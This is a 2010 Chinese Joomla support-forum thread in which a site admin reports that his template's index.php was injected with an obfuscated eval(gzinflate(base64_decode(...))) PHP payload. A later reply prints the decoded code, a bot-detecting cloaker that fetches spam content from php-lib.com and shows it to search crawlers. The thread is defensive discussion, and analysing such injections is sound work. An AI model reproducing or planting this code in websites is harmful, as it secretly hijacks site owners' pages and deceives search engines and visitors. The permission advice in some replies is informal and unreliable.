登录 注册

登录

问题 请高手分析一下Joomla之门被黑客攻击的问题

  • Joomla之门
  • Joomla之门 的头像 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK_ADMIN
  • COM_KUNENA_SAMPLEDATA_RANK_ADMIN
  • Joomla是最好的建站CMS!
更多
2010年02月05日 09:20 #1 作者: Joomla之门
2月4日我回来很晚,到家后发现 Joomla中文开发小组QQ群 里面的 cola 留言提醒:Joomla之门论坛页面底部有许多外部(垃圾)链接。

cola 说,需要用火狐浏览器才能看到,IE 看不到。

我当时用 FireFox 3.6 64-bit 打开论坛页面,在底部没有看到这些链接,查看页面源代码也没看到。

群里的 jackyking 当时也看了,也没看到。

我以为没有什么问题。

晚上1点左右我上床后,无意中用手机上网访问了一下 Joomla之门网站,这次在 UCweb for Windows Mobile 浏览器中看到 cola 所说的问题了!在页面底部确实存在很多垃圾链接。附图是 cola 的截图,显示了他所看到的页面源代码底部。

我立即重新开启电脑,试图找到问题的来源。结果发现,Joomla之门 网站前台的当前模板 index.php 文件被人修改了。在文件底部 body 结束标记之前,插入了如下的代码(后来查看早期的全站备份文件,原来的 index.php 文件中确实不存在这些代码):
<?
eval(gzinflate(base64_decode('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')));
?>

奇怪的是,该文件的修改时间却没有变。还是前几天服务器搬迁时的时间戳。

我删除该段代码并更新 index.php 文件后,再次用手机浏览器访问网站,页面底部那段垃圾链接就消失了。

我的理解是:这段恶意代码是通过 eval(gzinflate(base64_decode 这种方式编码(加密)的,因此,在某些浏览器上无法解读,就看不到那些垃圾链接;另一些浏览器可能正确解读了这段代码,于是垃圾链接就显示了。

但是,无法理解的是:

1、黑客是通过什么途径修改这个文件的?
2、为什么黑客修改之后,文件的编辑时间没有改变?

如果这个安全漏洞不能堵上,黑客还有可能再次下手。而且,他下次可能造成的危害更大。

因此,请高手帮忙分析、指导一下,谢谢!

感谢 cola 的提醒和帮助!

说明:Joomla之门的网站核心是 Joomla! 1.0.15 中文版,所用的前台模板是 JA Mercury 免费模板。

付费下载 Joomla 3 扩展汉化版: 我要付费支持 Joomla 之门!

登录 或者   注册一个会员帐号 来参与讨论

更多
2010年02月05日 19:25 #2 作者: tiger
今天下午网站访问不是黑客,是机房停电了,呵呵!

登录 或者   注册一个会员帐号 来参与讨论

更多
2010年02月05日 22:30 #3 作者: jaleo
文件权限改成644 会不会安全些

Less is more

登录 或者   注册一个会员帐号 来参与讨论

  • Joomla之门
  • Joomla之门 的头像 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK_ADMIN
  • COM_KUNENA_SAMPLEDATA_RANK_ADMIN
  • Joomla是最好的建站CMS!
更多
2010年02月06日 08:33 #4 作者: Joomla之门
现在 index.php 文件权限已经是 644 了,这要感谢 tiger,他设置的是 FTP 上传后默认权限是 644.

付费下载 Joomla 3 扩展汉化版: 我要付费支持 Joomla 之门!

登录 或者   注册一个会员帐号 来参与讨论

更多
2010年02月11日 16:31 #5 作者: dannyzhang
与我遇见的问题类似,同样是INDEX.PHP的修改时间未变,文件权限还是644。
第一次是在index.php里添加了链接代码,手工清除后就没有问题了。
第二次是在index.html里添加了链接代码,可以想象手工清除的工作量有多大,现在都懒得清了,谁有更好更有效的解决方法?

登录 或者   注册一个会员帐号 来参与讨论

更多
2010年02月11日 19:18 #6 作者: bithost
有些第三方程序的漏洞问题谁也说不清的,最主要是加强服务器环境的安全保护,禁止某些危险函数的运行。

想让你的Joomla网站更快吗?使用Bithost 合租空间 www.bithost.cn
完全兼容Joomla,电信网通美国三线空间。
另有美国合租空间(独立IP)
Email webmaster+bithost.cn
QQ 48269819
可以试用 可以月付

登录 或者   注册一个会员帐号 来参与讨论

更多
2010年06月18日 16:31 #7 作者: joeguo
上面的代码是经过gzip压缩的base64加密后的php代码,破解后是:
<?php
$server_accept_language = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
$ref = @$_SERVER['HTTP_REFERER'];
$ref = urlencode($ref);
$server_host = @$_SERVER['HTTP_HOST'];
$server_forwarded_for = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$server_remote_addr = @$_SERVER['REMOTE_ADDR'];
$server_query_string = @$_SERVER['QUERY_STRING'];
$server_signature = @$_SERVER['SERVER_SIGNATURE'];
$server_request = @$_SERVER['REQUEST_URI'];
$server_ip = @$_SERVER['REMOTE_ADDR'];
function detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging){
	$stop_ips_masks = array( "66\.249\.[6-9][0-9]\.[0-9]+", // Google NetRange: 66.249.64.0 - 66.249.95.255
 	                          "74\.125\.[0-9]+\.[0-9]+", // Google NetRange: 74.125.0.0 - 74.125.255.255 
 	                          "65\.5[2-5]\.[0-9]+\.[0-9]+", // MSN NetRange: 65.52.0.0 - 65.55.255.255,
 	                          "74\.6\.[0-9]+\.[0-9]+", // Yahoo NetRange: 74.6.0.0 - 74.6.255.255
 	                          "67\.195\.[0-9]+\.[0-9]+", // Yahoo#2 NetRange: 67.195.0.0 - 67.195.255.255 
 	                          "72\.30\.[0-9]+\.[0-9]+", // Yahoo#3 NetRange: 72.30.0.0 - 72.30.255.255
 	                          "38\.[0-9]+\.[0-9]+\.[0-9]+", // Cuill: NetRange: 38.0.0.0 - 38.255.255.255
 	                          "93\.172\.94\.227", // MacFinder 
 	                          "212\.100\.250\.218", // Wells Search II
 	                           "71\.165\.223\.134", // Indy Library
 	                           "70\.91\.180\.25", 
 	                           "65\.93\.62\.242", 
 	                           "74\.193\.246\.129", 
 	                           "213\.144\.15\.38", "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124", "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169", "64\.233\.1[6-8][1-9]\.[0-9]+", 
 	                           "64\.233\.19[0-1]\.[0-9]+", //google from iplists "209\.185\.108\.[0-9]+",
 	                            "209\.185\.253\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.33\.9[6-9]", "216\.239\.37\.9[8-9]", "216\.239\.39\.9[8-9]", "216\.239\.41\.9[6-9]", "216\.239\.45\.4", "216\.239\.46\.[0-9]+", "216\.239\.51\.9[6-9]", "216\.239\.53\.9[8-9]", "216\.239\.57\.9[6-9]", "216\.239\.59\.9[8-9]", "216\.33\.229\.163", "64\.233\.173\.[0-9]+", "64\.68\.8[0-9]\.[0-9]+", "64\.68\.9[0-2]\.[0-9]+", "72\.14\.199\.[0-9]+", 
 	                           "8\.6\.48\.[0-9]+", //google from iplists // 10.0.0.0 - 10.255.255.255 iana
 	                            "207\.211\.40\.82", "67\.162\.158\.146", "66\.255\.53\.123", "24\.200\.208\.112", "129\.187\.148\.240", "129\.187\.148\.244", "199\.126\.151\.229", "118\.124\.32\.193", "89\.149\.217\.191" ); 
	$stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", "crawl", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress",'Charlotte','wwwster','Python','urllib','perl','libwww','lynx','Twiceler','rambler','yandex');
	$server_user_agent = preg_replace("|User\.Agent\:[\s ]?|i", "", @$server_user_agent);
	$is_human = true;
	$stop_ip_detected = false;
	$stop_agent_detected = false;
	$detected_str = "";
	foreach ($stop_ips_masks as $stop_ip_mask)
	if(eregi("$stop_ip_mask", $server_ip))
	{ $is_human = false; break; }
	if($is_human)
	foreach($stop_agents_masks as $stop_agents_mask)
	if(eregi($stop_agents_mask, @$server_user_agent) !== false)
	{ $is_human = false; break; }
	if($is_human and !eregi("^[a-zA-Z]{5,}", @$server_user_agent))
	{ $is_human = false; }
	if($is_human and strlen($server_user_agent)<=11) { $is_human = false; }
	if(stristr($ref,$server_query_string)) { $is_human = false; }
	return $is_human;
}
 
@$is_human = @detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging);
if (@$is_human==false){
	if(ini_get('allow_url_fopen')==1){
		echo @file_get_contents('http://php-lib.com/?id=4b6864d81a7fd');
	} else if(function_exists('curl_init')){
		$ch = curl_init(); $c_url = 'http://php-lib.com/?id=4b6864d81a7fd';
		curl_setopt($ch, CURLOPT_URL, $c_url);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_TIMEOUT, 10);
		$data = curl_exec($ch);
		echo $data;
	}
}
}
 
?>
首先检测是否是用户访问,如果是用户在访问,则什么都不做;
如果是来自网络爬虫,就会从网站php-lib.com上面下载一些数据显示出来。

登录 或者   注册一个会员帐号 来参与讨论

  • Joomla之门
  • Joomla之门 的头像 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK_ADMIN
  • COM_KUNENA_SAMPLEDATA_RANK_ADMIN
  • Joomla是最好的建站CMS!
更多
2010年06月18日 18:09 #8 作者: Joomla之门
感谢 joe 帮忙破译。那是在使用 Joomla 1.0.x 核心的时候被黑客攻击的。现在已经升级到 Joomla 1.5 核心了,升级时我删除了所有 php 文件,因此我想以前被 hack 的文件也应该删除了。

目前网站运行良好。

付费下载 Joomla 3 扩展汉化版: 我要付费支持 Joomla 之门!

登录 或者   注册一个会员帐号 来参与讨论

更多
2010年09月05日 22:13 #9 作者: crystal8261
百度或者gg搜索PHP缘分木马,看一看吧。

登录 或者   注册一个会员帐号 来参与讨论

更多
2010年09月28日 10:34 #10 作者: g_cyumeng
我也曾遇到过同样问题,Joomla版本1.5.15,同样是在前台模板的index.php内,文件的编辑时间同样不变。
同问是何道理^^

登录 或者   注册一个会员帐号 来参与讨论

更多
2011年03月14日 18:54 #11 作者: eleanhei
我的文件夹设置是711
其他文件全是604
这样应该比较安全吧?

登录 或者   注册一个会员帐号 来参与讨论